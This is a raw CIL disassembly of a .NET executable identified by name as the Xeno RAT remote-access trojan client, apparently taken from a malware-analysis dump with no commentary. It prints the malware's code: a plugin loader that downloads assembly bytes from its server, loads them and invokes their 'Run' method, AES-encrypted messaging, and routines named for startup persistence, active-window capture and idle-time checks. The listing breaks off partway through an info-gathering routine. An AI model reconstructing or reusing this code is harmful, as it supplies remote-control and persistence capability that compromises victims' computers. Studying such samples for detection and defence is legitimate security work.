File xenorat_388d80a52076aa1f8329606606b21086eddf22d051624057b329c9250489f0c7.exe
Function:
    00002078
    00002078xeno_rat_client.Compression::.ctor:
    00002078ldarg.0
    00002079call .ctor
    0000207eret
    00002078
    00002078
    00002078xeno_rat_client.Encryption::.ctor:
    00002078ldarg.0
    00002079call .ctor
    0000207eret
    00002078
    00002078
    00002078<>c::.ctor:
    00002078ldarg.0
    00002079call .ctor
    0000207eret
    00002078
    00002078
    00002078xeno_rat_client.Program::.ctor:
    00002078ldarg.0
    00002079call .ctor
    0000207eret
    00002078
    00002078
    00002078xeno_rat_client.Utils::.ctor:
    00002078ldarg.0
    00002079call .ctor
    0000207eret
    00002078
    00002078
    00002078<>c::.ctor:
    00002078ldarg.0
    00002079call .ctor
    0000207eret
    00002078
    00002078
    00002078<>c__DisplayClass16_0::.ctor:
    00002078ldarg.0
    00002079call .ctor
    0000207eret
    00002078
    00002078
    00002078<>c__DisplayClass18_0::.ctor:
    00002078ldarg.0
    00002079call .ctor
    0000207eret
    00002078
    00002080
    00002080xeno_rat_client.DllHandler::.ctor:
    00002080ldarg.0
    00002081newobj .ctor
    00002086stfld Assemblies
    0000208bldarg.0
    0000208cldstr "Plugin.Main"
    00002091stfld classpath
    00002096ldarg.0
    00002097call .ctor
    0000209ccall get_CurrentDomain
    000020a1ldnull
    000020a2ldftn CurrentDomain_AssemblyResolve
    000020a8newobj .ctor
    000020adcallvirt add_AssemblyResolve
    000020b2ret
    00002080
    000020b4
    000020b4xeno_rat_client.DllHandler::CurrentDomain_AssemblyResolve:
    000020b4ldarg.1
    000020b5callvirt get_Name
    000020banewobj .ctor
    000020bfcall get_Name
    000020c4ldstr "xeno rat client"
    000020c9call op_Equality
    000020cebrfalse.s IL_0022
    000020d0call GetExecutingAssembly
    000020d5ret
    000020d6ldnull
    000020d7ret
    000020b4
    000020d9
    000020d9<DllNodeHandler>d__3::SetStateMachine:
    000020d9ldarg.0
    000020daldflda <>t__builder
    000020dfldarg.1
    000020e0call SetStateMachine
    000020e5ret
    000020d9
    000020e7
    000020e7xeno_rat_client.Handler::.ctor:
    000020e7ldarg.0
    000020e8call .ctor
    000020edldarg.0
    000020eeldarg.2
    000020efstfld dllhandler
    000020f4ldarg.0
    000020f5ldarg.1
    000020f6stfld Main
    000020fbret
    000020e7
    000020fd
    000020fdxeno_rat_client.Handler::OnDisconnect:
    000020fdret
    000020fd
    000020ff
    000020ff<CreateSubSock>d__3::SetStateMachine:
    000020ffldarg.0
    00002100ldflda <>t__builder
    00002105ldarg.1
    00002106call SetStateMachine
    0000210bret
    000020ff
    0000210d
    0000210d<DebugMenu>d__10::SetStateMachine:
    0000210dldarg.0
    0000210eldflda <>t__builder
    00002113ldarg.1
    00002114call SetStateMachine
    00002119ret
    0000210d
    0000211b
    0000211b<GetAndSendInfo>d__5::SetStateMachine:
    0000211bldarg.0
    0000211cldflda <>t__builder
    00002121ldarg.1
    00002122call SetStateMachine
    00002127ret
    0000211b
    00002129
    00002129<SendUpdateInfo>d__11::SetStateMachine:
    00002129ldarg.0
    0000212aldflda <>t__builder
    0000212fldarg.1
    00002130call SetStateMachine
    00002135ret
    00002129
    00002137
    00002137<Type0Receive>d__6::SetStateMachine:
    00002137ldarg.0
    00002138ldflda <>t__builder
    0000213dldarg.1
    0000213ecall SetStateMachine
    00002143ret
    00002137
    00002145
    00002145<Type1Receive>d__7::SetStateMachine:
    00002145ldarg.0
    00002146ldflda <>t__builder
    0000214bldarg.1
    0000214ccall SetStateMachine
    00002151ret
    00002145
    00002153
    00002153<Type2Receive>d__9::SetStateMachine:
    00002153ldarg.0
    00002154ldflda <>t__builder
    00002159ldarg.1
    0000215acall SetStateMachine
    0000215fret
    00002153
    00002161
    00002161<setSetId>d__8::SetStateMachine:
    00002161ldarg.0
    00002162ldflda <>t__builder
    00002167ldarg.1
    00002168call SetStateMachine
    0000216dret
    00002161
    0000216f
    0000216fxeno_rat_client.Node::.ctor:
    0000216fldarg.0
    00002170newobj .ctor
    00002175stfld subNodes
    0000217aldarg.0
    0000217bldc.i4.m1
    0000217cstfld ID
    00002181ldarg.0
    00002182ldc.i4.m1
    00002183stfld SetId
    00002188ldarg.0
    00002189ldc.i4.m1
    0000218astfld SockType
    0000218fldarg.0
    00002190call .ctor
    00002195ldarg.0
    00002196ldarg.1
    00002197stfld sock
    0000219cldarg.0
    0000219dldarg.2
    0000219estfld OnDisconnect
    000021a3ret
    0000216f
    000021a5
    000021a5xeno_rat_client.Node::AddSubNode:
    000021a5ldarg.0
    000021a6ldfld subNodes
    000021abldarg.1
    000021accallvirt Add
    000021b1ret
    000021a5
    000021b3
    000021b3xeno_rat_client.Node::ByteArrayCompare:
    000021b3ldarg.1
    000021b4ldlen
    000021b5conv.i4
    000021b6ldarg.2
    000021b7ldlen
    000021b8conv.i4
    000021b9bne.un.s IL_0017
    000021bbldarg.1
    000021bcldarg.2
    000021bdldarg.1
    000021beldlen
    000021bfconv.i4
    000021c0conv.i8
    000021c1call memcmp
    000021c6ldc.i4.0
    000021c7ceq
    000021c9ret
    000021caldc.i4.0
    000021cbret
    000021b3
    000021cd
    000021cdxeno_rat_client.Node::SetRecvTimeout:
    000021cdldarg.0
    000021celdfld sock
    000021d3ldarg.1
    000021d4callvirt SetRecvTimeout
    000021d9ret
    000021cd
    000021db
    000021dbxeno_rat_client.Node::ResetRecvTimeout:
    000021dbldarg.0
    000021dcldfld sock
    000021e1callvirt ResetRecvTimeout
    000021e6ret
    000021db
    000021e8
    000021e8<AuthenticateAsync>d__18::SetStateMachine:
    000021e8ldarg.0
    000021e9ldflda <>t__builder
    000021eeldarg.1
    000021efcall SetStateMachine
    000021f4ret
    000021e8
    000021f6
    000021f6<ConnectSubSockAsync>d__11::SetStateMachine:
    000021f6ldarg.0
    000021f7ldflda <>t__builder
    000021fcldarg.1
    000021fdcall SetStateMachine
    00002202ret
    000021f6
    00002204
    00002204<Disconnect>d__10::SetStateMachine:
    00002204ldarg.0
    00002205ldflda <>t__builder
    0000220aldarg.1
    0000220bcall SetStateMachine
    00002210ret
    00002204
    00002212
    00002212<ReceiveAsync>d__13::SetStateMachine:
    00002212ldarg.0
    00002213ldflda <>t__builder
    00002218ldarg.1
    00002219call SetStateMachine
    0000221eret
    00002212
    00002220
    00002220<SendAsync>d__14::SetStateMachine:
    00002220ldarg.0
    00002221ldflda <>t__builder
    00002226ldarg.1
    00002227call SetStateMachine
    0000222cret
    00002220
    0000222e
    0000222exeno_rat_client.header::.ctor:
    0000222eldarg.0
    0000222fldc.i4.1
    00002230stfld T_offset
    00002235ldarg.0
    00002236call .ctor
    0000223bret
    0000222e
    0000223d
    0000223dxeno_rat_client.SocketHandler::.ctor:
    0000223dldarg.0
    0000223ecall .ctor
    00002243ldarg.0
    00002244ldarg.1
    00002245stfld sock
    0000224aldarg.0
    0000224bldfld sock
    00002250ldc.i4.1
    00002251callvirt set_NoDelay
    00002256ldarg.0
    00002257ldarg.2
    00002258stfld EncryptionKey
    0000225dret
    0000223d
    0000225f
    0000225fxeno_rat_client.SocketHandler::SetRecvTimeout:
    0000225fldarg.0
    00002260ldarg.1
    00002261stfld socktimeout
    00002266ldarg.0
    00002267ldfld sock
    0000226cldarg.1
    0000226dcallvirt set_ReceiveTimeout
    00002272ret
    0000225f
    00002274
    00002274xeno_rat_client.SocketHandler::ResetRecvTimeout:
    00002274ldarg.0
    00002275ldc.i4.0
    00002276stfld socktimeout
    0000227bldarg.0
    0000227cldfld sock
    00002281ldc.i4.0
    00002282callvirt set_ReceiveTimeout
    00002287ret
    00002274
    00002289
    00002289<>c::.cctor:
    00002289newobj .ctor
    0000228estsfld <>9
    00002293ret
    00002289
    00002295
    00002295<>c::<Concat>b__6_0:
    00002295ldarg.1
    00002296ret
    00002295
    00002298
    00002298<ReceiveAsync>d__10::SetStateMachine:
    00002298ldarg.0
    00002299ldflda <>t__builder
    0000229eldarg.1
    0000229fcall SetStateMachine
    000022a4ret
    00002298
    000022a6
    000022a6<RecvAllAsync_ddos_safer>d__5::SetStateMachine:
    000022a6ldarg.0
    000022a7ldflda <>t__builder
    000022acldarg.1
    000022adcall SetStateMachine
    000022b2ret
    000022a6
    000022b4
    000022b4<RecvAllAsync_ddos_unsafer>d__4::SetStateMachine:
    000022b4ldarg.0
    000022b5ldflda <>t__builder
    000022baldarg.1
    000022bbcall SetStateMachine
    000022c0ret
    000022b4
    000022c2
    000022c2<SendAsync>d__9::SetStateMachine:
    000022c2ldarg.0
    000022c3ldflda <>t__builder
    000022c8ldarg.1
    000022c9call SetStateMachine
    000022ceret
    000022c2
    000022d0
    000022d0xeno_rat_client.Program::OnDisconnect:
    000022d0ldarg.0
    000022d1callvirt Connected
    000022d6call WriteLine
    000022dbret
    000022d0
    000022dd
    000022dd<Main>d__11::SetStateMachine:
    000022ddldarg.0
    000022deldflda <>t__builder
    000022e3ldarg.1
    000022e4call SetStateMachine
    000022e9ret
    000022dd
    000022eb
    000022ebxeno_rat_client.CapturingConsoleWriter::.ctor:
    000022ebldarg.0
    000022eccall .ctor
    000022f1ldarg.0
    000022f2ldarg.1
    000022f3stfld originalOut
    000022f8ret
    000022eb
    000022fa
    000022faxeno_rat_client.CapturingConsoleWriter::get_Encoding:
    000022faldarg.0
    000022fbldfld originalOut
    00002300callvirt get_Encoding
    00002305ret
    000022fa
    00002307
    00002307xeno_rat_client.CapturingConsoleWriter::Write:
    00002307ldsfld ProcessLog
    0000230cldarg.1
    0000230dcallvirt Append
    00002312pop
    00002313ldarg.0
    00002314ldfld originalOut
    00002319ldarg.1
    0000231acallvirt Write
    0000231fret
    00002307
    00002321
    00002321xeno_rat_client.CapturingConsoleWriter::WriteLine:
    00002321ldsfld ProcessLog
    00002326ldarg.1
    00002327callvirt AppendLine
    0000232cpop
    0000232dldarg.0
    0000232eldfld originalOut
    00002333ldarg.1
    00002334callvirt WriteLine
    00002339ret
    00002321
    0000233b
    0000233bxeno_rat_client.CapturingConsoleWriter::GetCapturedOutput:
    0000233bldsfld ProcessLog
    00002340callvirt ToString
    00002345ret
    0000233b
    00002347
    00002347xeno_rat_client.CapturingConsoleWriter::ClearCapturedOutput:
    00002347ldsfld ProcessLog
    0000234ccallvirt Clear
    00002351pop
    00002352ret
    00002347
    00002354
    00002354<>c::.cctor:
    00002354newobj .ctor
    00002359stsfld <>9
    0000235eret
    00002354
    00002360
    00002360<>c::<GetCaptionOfActiveWindowAsync>b__8_0:
    00002360call GetCaptionOfActiveWindow
    00002365ret
    00002360
    00002367
    00002367<>c::<GetIdleTimeAsync>b__20_0:
    00002367call GetIdleTime
    0000236cret
    00002367
    0000236e
    0000236e<AddToStartupAdmin>d__19::SetStateMachine:
    0000236eldarg.0
    0000236fldflda <>t__builder
    00002374ldarg.1
    00002375call SetStateMachine
    0000237aret
    0000236e
    0000237c
    0000237c<AddToStartupNonAdmin>d__18::SetStateMachine:
    0000237cldarg.0
    0000237dldflda <>t__builder
    00002382ldarg.1
    00002383call SetStateMachine
    00002388ret
    0000237c
    0000238a
    0000238a<ConnectAndSetupAsync>d__15::SetStateMachine:
    0000238aldarg.0
    0000238bldflda <>t__builder
    00002390ldarg.1
    00002391call SetStateMachine
    00002396ret
    0000238a
    00002398
    00002398<GetCaptionOfActiveWindowAsync>d__8::SetStateMachine:
    00002398ldarg.0
    00002399ldflda <>t__builder
    0000239eldarg.1
    0000239fcall SetStateMachine
    000023a4ret
    00002398
    000023a6
    000023a6<GetIdleTimeAsync>d__20::SetStateMachine:
    000023a6ldarg.0
    000023a7ldflda <>t__builder
    000023acldarg.1
    000023adcall SetStateMachine
    000023b2ret
    000023a6
    000023b4
    000023b4<RemoveStartup>d__16::SetStateMachine:
    000023b4ldarg.0
    000023b5ldflda <>t__builder
    000023baldarg.1
    000023bbcall SetStateMachine
    000023c0ret
    000023b4
    000023c2
    000023c2<Uninstall>d__17::SetStateMachine:
    000023c2ldarg.0
    000023c3ldflda <>t__builder
    000023c8ldarg.1
    000023c9call SetStateMachine
    000023ceret
    000023c2
    000023d0
    000023d0xeno_rat_client.Compression::Compress:
    000023d0ldarg.0
    000023d1ldlen
    000023d2conv.i4
    000023d3ldc.i4.6
    000023d4mul
    000023d5newarr System.Byte
    000023dastloc.0
    000023dbldc.i4.0
    000023dcstloc.1
    000023ddldc.i4.0
    000023destloc.2
    000023dfldc.i4 258
    000023e4ldloca.s 1
    000023e6ldloca.s 2
    000023e8call RtlGetCompressionWorkSpaceSize
    000023edbrfalse.s IL_0021
    000023efldnull
    000023f0ret
    000023f1ldc.i4.0
    000023f2stloc.3
    000023f3ldc.i4.0
    000023f4ldloc.1
    000023f5conv.u8
    000023f6newobj .ctor
    000023fbcall LocalAlloc
    00002400stloc.s 4
    00002402ldc.i4 258
    00002407ldarg.0
    00002408ldarg.0
    00002409ldlen
    0000240aconv.i4
    0000240bldloc.0
    0000240cldloc.0
    0000240dldlen
    0000240econv.i4
    0000240fldc.i4.0
    00002410ldloca.s 3
    00002412ldloc.s 4
    00002414call RtlCompressBuffer
    00002419brfalse.s IL_0055
    0000241bldloc.s 4
    0000241dcall LocalFree
    00002422pop
    00002423ldnull
    00002424ret
    00002425ldloc.s 4
    00002427call LocalFree
    0000242cpop
    0000242dldloca.s 0
    0000242fldloc.3
    00002430call 0x2B000001
    00002435ldloc.0
    00002436ret
    000023d0
    00002444
    00002444xeno_rat_client.Compression::Decompress:
    00002444ldc.i4.0
    00002445stloc.0
    00002446ldarg.1
    00002447newarr System.Byte
    0000244cstloc.1
    0000244dldc.i4.2
    0000244eldloc.1
    0000244fldarg.1
    00002450ldarg.0
    00002451ldarg.0
    00002452ldlen
    00002453conv.i4
    00002454ldloca.s 0
    00002456call RtlDecompressBuffer
    0000245bpop
    0000245cldloc.1
    0000245dret
    00002444
    0000246c
    0000246cxeno_rat_client.DllHandler::DllNodeHandler:
    0000246cldloca.s 0
    0000246ecall Create
    00002473stfld <>t__builder
    00002478ldloca.s 0
    0000247aldarg.0
    0000247bstfld <>4__this
    00002480ldloca.s 0
    00002482ldarg.1
    00002483stfld subServer
    00002488ldloca.s 0
    0000248aldc.i4.m1
    0000248bstfld <>1__state
    00002490ldloca.s 0
    00002492ldflda <>t__builder
    00002497ldloca.s 0
    00002499call 0x2B000002
    0000249eldloca.s 0
    000024a0ldflda <>t__builder
    000024a5call get_Task
    000024aaret
    0000246c
    000024b8
    000024b8<DllNodeHandler>d__3::MoveNext:
    000024b8ldarg.0
    000024b9ldfld <>1__state
    000024bestloc.0
    000024bfldarg.0
    000024c0ldfld <>4__this
    000024c5stloc.1
    000024c6ldloc.0
    000024c7switch (IL_006e, IL_006e, IL_006e, IL_006e, IL_006e, IL_03a3, IL_041c)
    000024e8ldarg.0
    000024e9ldc.i4.1
    000024eanewarr System.Byte
    000024efdup
    000024f0ldc.i4.0
    000024f1ldc.i4.1
    000024f2stelem.i1
    000024f3stfld <getdll>5__2
    000024f8ldarg.0
    000024f9ldc.i4.1
    000024fanewarr System.Byte
    000024ffstfld <hasdll>5__3
    00002504ldarg.0
    00002505ldc.i4.1
    00002506newarr System.Byte
    0000250bdup
    0000250cldc.i4.0
    0000250dldc.i4.2
    0000250estelem.i1
    0000250fstfld <fail>5__4
    00002514ldc.i4.1
    00002515newarr System.Byte
    0000251adup
    0000251bldc.i4.0
    0000251cldc.i4.3
    0000251dstelem.i1
    0000251epop
    0000251fldarg.0
    00002520ldc.i4.0
    00002521stfld <>7__wrap5
    00002526nop
    00002527ldloc.0
    00002528switch (IL_00c8, IL_0164, IL_01c8, IL_0256, IL_02fd)
    00002541ldarg.0
    00002542ldfld subServer
    00002547callvirt ReceiveAsync
    0000254ccallvirt GetAwaiter
    00002551stloc.s 4
    00002553ldloca.s 4
    00002555call get_IsCompleted
    0000255abrtrue.s IL_00e5
    0000255cldarg.0
    0000255dldc.i4.0
    0000255edup
    0000255fstloc.0
    00002560stfld <>1__state
    00002565ldarg.0
    00002566ldloc.s 4
    00002568stfld <>u__1
    0000256dldarg.0
    0000256eldflda <>t__builder
    00002573ldloca.s 4
    00002575ldarg.0
    00002576call 0x2B000003
    0000257bleave IL_04b7
    00002580ldarg.0
    00002581ldfld <>u__1
    00002586stloc.s 4
    00002588ldarg.0
    00002589ldflda <>u__1
    0000258einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
    00002594ldarg.0
    00002595ldc.i4.m1
    00002596dup
    00002597stloc.0
    00002598stfld <>1__state
    0000259dldloca.s 4
    0000259fcall GetResult
    000025a4stloc.2
    000025a5ldarg.0
    000025a6call get_UTF8
    000025abldloc.2
    000025accallvirt GetString
    000025b1stfld <dllname>5__7
    000025b6ldarg.0
    000025b7ldfld <dllname>5__7
    000025bccall WriteLine
    000025c1ldloc.1
    000025c2ldfld Assemblies
    000025c7ldarg.0
    000025c8ldfld <dllname>5__7
    000025cdcallvirt ContainsKey
    000025d2brtrue IL_0211
    000025d7ldarg.0
    000025d8ldfld subServer
    000025ddldarg.0
    000025deldfld <getdll>5__2
    000025e3callvirt SendAsync
    000025e8callvirt GetAwaiter
    000025edstloc.s 6
    000025efldloca.s 6
    000025f1call get_IsCompleted
    000025f6brtrue.s IL_0181
    000025f8ldarg.0
    000025f9ldc.i4.1
    000025fadup
    000025fbstloc.0
    000025fcstfld <>1__state
    00002601ldarg.0
    00002602ldloc.s 6
    00002604stfld <>u__2
    00002609ldarg.0
    0000260aldflda <>t__builder
    0000260fldloca.s 6
    00002611ldarg.0
    00002612call 0x2B000004
    00002617leave IL_04b7
    0000261cldarg.0
    0000261dldfld <>u__2
    00002622stloc.s 6
    00002624ldarg.0
    00002625ldflda <>u__2
    0000262ainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    00002630ldarg.0
    00002631ldc.i4.m1
    00002632dup
    00002633stloc.0
    00002634stfld <>1__state
    00002639ldloca.s 6
    0000263bcall GetResult
    00002640pop
    00002641ldarg.0
    00002642ldfld subServer
    00002647callvirt ReceiveAsync
    0000264ccallvirt GetAwaiter
    00002651stloc.s 4
    00002653ldloca.s 4
    00002655call get_IsCompleted
    0000265abrtrue.s IL_01e5
    0000265cldarg.0
    0000265dldc.i4.2
    0000265edup
    0000265fstloc.0
    00002660stfld <>1__state
    00002665ldarg.0
    00002666ldloc.s 4
    00002668stfld <>u__1
    0000266dldarg.0
    0000266eldflda <>t__builder
    00002673ldloca.s 4
    00002675ldarg.0
    00002676call 0x2B000003
    0000267bleave IL_04b7
    00002680ldarg.0
    00002681ldfld <>u__1
    00002686stloc.s 4
    00002688ldarg.0
    00002689ldflda <>u__1
    0000268einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
    00002694ldarg.0
    00002695ldc.i4.m1
    00002696dup
    00002697stloc.0
    00002698stfld <>1__state
    0000269dldloca.s 4
    0000269fcall GetResult
    000026a4stloc.s 5
    000026a6ldloc.s 5
    000026a8ldlen
    000026a9conv.i4
    000026aacall WriteLine
    000026afldloc.1
    000026b0ldfld Assemblies
    000026b5ldarg.0
    000026b6ldfld <dllname>5__7
    000026bbldloc.s 5
    000026bdcall Load
    000026c2callvirt set_Item
    000026c7br.s IL_027b
    000026c9ldarg.0
    000026caldfld subServer
    000026cfldarg.0
    000026d0ldfld <hasdll>5__3
    000026d5callvirt SendAsync
    000026dacallvirt GetAwaiter
    000026dfstloc.s 6
    000026e1ldloca.s 6
    000026e3call get_IsCompleted
    000026e8brtrue.s IL_0273
    000026ealdarg.0
    000026ebldc.i4.3
    000026ecdup
    000026edstloc.0
    000026eestfld <>1__state
    000026f3ldarg.0
    000026f4ldloc.s 6
    000026f6stfld <>u__2
    000026fbldarg.0
    000026fcldflda <>t__builder
    00002701ldloca.s 6
    00002703ldarg.0
    00002704call 0x2B000004
    00002709leave IL_04b7
    0000270eldarg.0
    0000270fldfld <>u__2
    00002714stloc.s 6
    00002716ldarg.0
    00002717ldflda <>u__2
    0000271cinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    00002722ldarg.0
    00002723ldc.i4.m1
    00002724dup
    00002725stloc.0
    00002726stfld <>1__state
    0000272bldloca.s 6
    0000272dcall GetResult
    00002732pop
    00002733ldloc.1
    00002734ldfld Assemblies
    00002739ldarg.0
    0000273aldfld <dllname>5__7
    0000273fcallvirt get_Item
    00002744ldloc.1
    00002745ldfld classpath
    0000274acallvirt GetType
    0000274fcall CreateInstance
    00002754stloc.3
    00002755ldloc.3
    00002756callvirt GetType
    0000275bldstr "Run"
    00002760ldc.i4.s 20
    00002762callvirt GetMethod
    00002767ldloc.3
    00002768ldc.i4.1
    00002769newarr System.Object
    0000276edup
    0000276fldc.i4.0
    00002770ldarg.0
    00002771ldfld subServer
    00002776stelem.ref
    00002777callvirt Invoke
    0000277ccastclass System.Threading.Tasks.Task
    00002781callvirt GetAwaiter
    00002786stloc.s 7
    00002788ldloca.s 7
    0000278acall get_IsCompleted
    0000278fbrtrue.s IL_031a
    00002791ldarg.0
    00002792ldc.i4.4
    00002793dup
    00002794stloc.0
    00002795stfld <>1__state
    0000279aldarg.0
    0000279bldloc.s 7
    0000279dstfld <>u__3
    000027a2ldarg.0
    000027a3ldflda <>t__builder
    000027a8ldloca.s 7
    000027aaldarg.0
    000027abcall 0x2B000005
    000027b0leave IL_04b7
    000027b5ldarg.0
    000027b6ldfld <>u__3
    000027bbstloc.s 7
    000027bdldarg.0
    000027beldflda <>u__3
    000027c3initobj System.Runtime.CompilerServices.TaskAwaiter
    000027c9ldarg.0
    000027caldc.i4.m1
    000027cbdup
    000027ccstloc.0
    000027cdstfld <>1__state
    000027d2ldloca.s 7
    000027d4call GetResult
    000027d9ldarg.0
    000027daldnull
    000027dbstfld <dllname>5__7
    000027e0leave.s IL_033d
    000027e2stloc.s 8
    000027e4ldarg.0
    000027e5ldloc.s 8
    000027e7stfld <>7__wrap4
    000027ecldarg.0
    000027edldc.i4.1
    000027eestfld <>7__wrap5
    000027f3leave.s IL_033d
    000027f5ldarg.0
    000027f6ldfld <>7__wrap5
    000027fbstloc.s 9
    000027fdldloc.s 9
    000027ffldc.i4.1
    00002800bne.un IL_0458
    00002805ldarg.0
    00002806ldarg.0
    00002807ldfld <>7__wrap4
    0000280ccastclass System.Exception
    00002811stfld <e>5__8
    00002816ldarg.0
    00002817ldfld subServer
    0000281cldarg.0
    0000281dldfld <fail>5__4
    00002822callvirt SendAsync
    00002827callvirt GetAwaiter
    0000282cstloc.s 6
    0000282eldloca.s 6
    00002830call get_IsCompleted
    00002835brtrue.s IL_03c0
    00002837ldarg.0
    00002838ldc.i4.5
    00002839dup
    0000283astloc.0
    0000283bstfld <>1__state
    00002840ldarg.0
    00002841ldloc.s 6
    00002843stfld <>u__2
    00002848ldarg.0
    00002849ldflda <>t__builder
    0000284eldloca.s 6
    00002850ldarg.0
    00002851call 0x2B000004
    00002856leave IL_04b7
    0000285bldarg.0
    0000285cldfld <>u__2
    00002861stloc.s 6
    00002863ldarg.0
    00002864ldflda <>u__2
    00002869initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    0000286fldarg.0
    00002870ldc.i4.m1
    00002871dup
    00002872stloc.0
    00002873stfld <>1__state
    00002878ldloca.s 6
    0000287acall GetResult
    0000287fpop
    00002880ldarg.0
    00002881ldfld subServer
    00002886call get_UTF8
    0000288bldarg.0
    0000288cldfld <e>5__8
    00002891callvirt get_Message
    00002896callvirt GetBytes
    0000289bcallvirt SendAsync
    000028a0callvirt GetAwaiter
    000028a5stloc.s 6
    000028a7ldloca.s 6
    000028a9call get_IsCompleted
    000028aebrtrue.s IL_0439
    000028b0ldarg.0
    000028b1ldc.i4.6
    000028b2dup
    000028b3stloc.0
    000028b4stfld <>1__state
    000028b9ldarg.0
    000028baldloc.s 6
    000028bcstfld <>u__2
    000028c1ldarg.0
    000028c2ldflda <>t__builder
    000028c7ldloca.s 6
    000028c9ldarg.0
    000028cacall 0x2B000004
    000028cfleave IL_04b7
    000028d4ldarg.0
    000028d5ldfld <>u__2
    000028dastloc.s 6
    000028dcldarg.0
    000028ddldflda <>u__2
    000028e2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    000028e8ldarg.0
    000028e9ldc.i4.m1
    000028eadup
    000028ebstloc.0
    000028ecstfld <>1__state
    000028f1ldloca.s 6
    000028f3call GetResult
    000028f8pop
    000028f9ldarg.0
    000028faldfld <e>5__8
    000028ffcallvirt get_StackTrace
    00002904call WriteLine
    00002909ldarg.0
    0000290aldnull
    0000290bstfld <e>5__8
    00002910ldarg.0
    00002911ldnull
    00002912stfld <>7__wrap4
    00002917leave.s IL_048f
    00002919stloc.s 10
    0000291bldarg.0
    0000291cldc.i4.s -2
    0000291estfld <>1__state
    00002923ldarg.0
    00002924ldnull
    00002925stfld <getdll>5__2
    0000292aldarg.0
    0000292bldnull
    0000292cstfld <hasdll>5__3
    00002931ldarg.0
    00002932ldnull
    00002933stfld <fail>5__4
    00002938ldarg.0
    00002939ldflda <>t__builder
    0000293eldloc.s 10
    00002940call SetException
    00002945leave.s IL_04b7
    00002947ldarg.0
    00002948ldc.i4.s -2
    0000294astfld <>1__state
    0000294fldarg.0
    00002950ldnull
    00002951stfld <getdll>5__2
    00002956ldarg.0
    00002957ldnull
    00002958stfld <hasdll>5__3
    0000295dldarg.0
    0000295eldnull
    0000295fstfld <fail>5__4
    00002964ldarg.0
    00002965ldflda <>t__builder
    0000296acall SetResult
    0000296fret
    000024b8
    000029b0
    000029b0xeno_rat_client.Encryption::Encrypt:
    000029b0ldc.i4.s 16
    000029b2newarr System.Byte
    000029b7stloc.1
    000029b8call Create
    000029bdstloc.2
    000029beldloc.2
    000029bfldarg.1
    000029c0callvirt set_Key
    000029c5ldloc.2
    000029c6ldloc.1
    000029c7callvirt set_IV
    000029ccldloc.2
    000029cdldloc.2
    000029cecallvirt get_Key
    000029d3ldloc.2
    000029d4callvirt get_IV
    000029d9callvirt CreateEncryptor
    000029destloc.3
    000029dfnewobj .ctor
    000029e4stloc.s 4
    000029e6ldloc.s 4
    000029e8ldloc.3
    000029e9ldc.i4.1
    000029eanewobj .ctor
    000029efstloc.s 5
    000029f1ldloc.s 5
    000029f3ldarg.0
    000029f4ldc.i4.0
    000029f5ldarg.0
    000029f6ldlen
    000029f7conv.i4
    000029f8callvirt Write
    000029fdldloc.s 5
    000029ffcallvirt FlushFinalBlock
    00002a04ldloc.s 4
    00002a06callvirt ToArray
    00002a0bstloc.0
    00002a0cleave.s IL_0076
    00002a0eldloc.s 5
    00002a10brfalse.s IL_0069
    00002a12ldloc.s 5
    00002a14callvirt Dispose
    00002a19endfinally
    00002a1aldloc.s 4
    00002a1cbrfalse.s IL_0075
    00002a1eldloc.s 4
    00002a20callvirt Dispose
    00002a25endfinally
    00002a26ldloc.3
    00002a27callvirt Dispose
    00002a2cleave.s IL_0088
    00002a2eldloc.2
    00002a2fbrfalse.s IL_0087
    00002a31ldloc.2
    00002a32callvirt Dispose
    00002a37endfinally
    00002a38ldloc.0
    00002a39ret
    000029b0
    00002a70
    00002a70xeno_rat_client.Encryption::Decrypt:
    00002a70ldc.i4.s 16
    00002a72newarr System.Byte
    00002a77stloc.0
    00002a78call Create
    00002a7dstloc.2
    00002a7eldloc.2
    00002a7fldarg.1
    00002a80callvirt set_Key
    00002a85ldloc.2
    00002a86ldloc.0
    00002a87callvirt set_IV
    00002a8cldloc.2
    00002a8dldloc.2
    00002a8ecallvirt get_Key
    00002a93ldloc.2
    00002a94callvirt get_IV
    00002a99callvirt CreateDecryptor
    00002a9estloc.3
    00002a9fnewobj .ctor
    00002aa4stloc.s 4
    00002aa6ldloc.s 4
    00002aa8ldloc.3
    00002aa9ldc.i4.1
    00002aaanewobj .ctor
    00002aafstloc.s 5
    00002ab1ldloc.s 5
    00002ab3ldarg.0
    00002ab4ldc.i4.0
    00002ab5ldarg.0
    00002ab6ldlen
    00002ab7conv.i4
    00002ab8callvirt Write
    00002abdldloc.s 5
    00002abfcallvirt FlushFinalBlock
    00002ac4ldloc.s 4
    00002ac6callvirt ToArray
    00002acbstloc.1
    00002accleave.s IL_0076
    00002aceldloc.s 5
    00002ad0brfalse.s IL_0069
    00002ad2ldloc.s 5
    00002ad4callvirt Dispose
    00002ad9endfinally
    00002adaldloc.s 4
    00002adcbrfalse.s IL_0075
    00002adeldloc.s 4
    00002ae0callvirt Dispose
    00002ae5endfinally
    00002ae6ldloc.3
    00002ae7callvirt Dispose
    00002aecleave.s IL_0088
    00002aeeldloc.2
    00002aefbrfalse.s IL_0087
    00002af1ldloc.2
    00002af2callvirt Dispose
    00002af7endfinally
    00002af8ldloc.1
    00002af9ret
    00002a70
    00002b30
    00002b30xeno_rat_client.Handler::CreateSubSock:
    00002b30ldloca.s 0
    00002b32call Create
    00002b37stfld <>t__builder
    00002b3cldloca.s 0
    00002b3eldarg.0
    00002b3fstfld <>4__this
    00002b44ldloca.s 0
    00002b46ldarg.1
    00002b47stfld data
    00002b4cldloca.s 0
    00002b4eldc.i4.m1
    00002b4fstfld <>1__state
    00002b54ldloca.s 0
    00002b56ldflda <>t__builder
    00002b5bldloca.s 0
    00002b5dcall 0x2B000006
    00002b62ldloca.s 0
    00002b64ldflda <>t__builder
    00002b69call get_Task
    00002b6eret
    00002b30
    00002b7c
    00002b7cxeno_rat_client.Handler::GetAndSendInfo:
    00002b7cldloca.s 0
    00002b7ecall Create
    00002b83stfld <>t__builder
    00002b88ldloca.s 0
    00002b8aldarg.1
    00002b8bstfld Type0
    00002b90ldloca.s 0
    00002b92ldc.i4.m1
    00002b93stfld <>1__state
    00002b98ldloca.s 0
    00002b9aldflda <>t__builder
    00002b9fldloca.s 0
    00002ba1call 0x2B000007
